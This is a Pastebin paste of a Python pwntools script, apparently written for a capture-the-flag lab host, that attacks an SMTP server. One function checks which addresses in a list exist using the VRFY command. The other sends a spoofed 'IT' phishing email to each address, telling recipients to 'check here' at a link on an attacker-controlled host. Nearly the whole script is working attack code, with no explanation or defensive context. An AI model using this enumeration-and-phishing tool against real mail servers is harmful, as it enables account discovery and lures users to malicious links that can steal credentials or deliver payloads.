Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from pwn import *
- import sys
- # Color !!
- PURPLE = '\033[1;35;48m'
- CYAN = '\033[1;36;48m'
- BOLD = '\033[1;37;48m'
- BLUE = '\033[1;34;48m'
- GREEN = '\033[1;32;48m'
- YELLOW = '\033[1;33;48m'
- RED = '\033[1;31;48m'
- BLACK = '\033[1;30;48m'
- Host = "10.10.10.197"
- def Checker_mail(FileName,Host):
- f = open(FileName, "r")
- for x in f:
- Email = x.rstrip()
- conn = remote(Host,25,level='error')
- code = conn.recvline()
- conn.send("VRFY {}\r\n".format(Email))
- ASEmail = conn.recvline().decode()
- if "denied" in ASEmail:
- print("{}[-] Email Not Found !!".format(RED))
- conn.close()
- else:
- print("{}[+] Email Found : {}".format(GREEN,Email))
- conn.close()
- def Send_mail(FileName,Host):
- f = open(FileName, "r")
- for x in f:
- Email = x.rstrip()
- conn = remote(Host,25,level='error')
- code = conn.recvline()
- conn.send("mail from: IT\r\n")
- ResMail = conn.recvline().decode()
- conn.send("rcpt to: {}\r\n".format(Email))
- ResRCPT = conn.recvline().decode()
- print(ResMail)
- print(ResRCPT)
- conn.send("data\r\n")
- ResData = conn.recvline().decode()
- print(ResData)
- conn.send("Subject:IT\n")
- conn.send("Good Day, \n")
- conn.send("For our new rules\n")
- conn.send("Please check here : http://10.10.14.8:1233/\n")
- conn.send(".\r\n")
- ResAfterData = conn.recvline().decode()
- print(ResAfterData)
- Send_mail('emails.txt',Host)
- #Checker_mail('emails.txt',Host)
Add Comment
Please, Sign In to add comment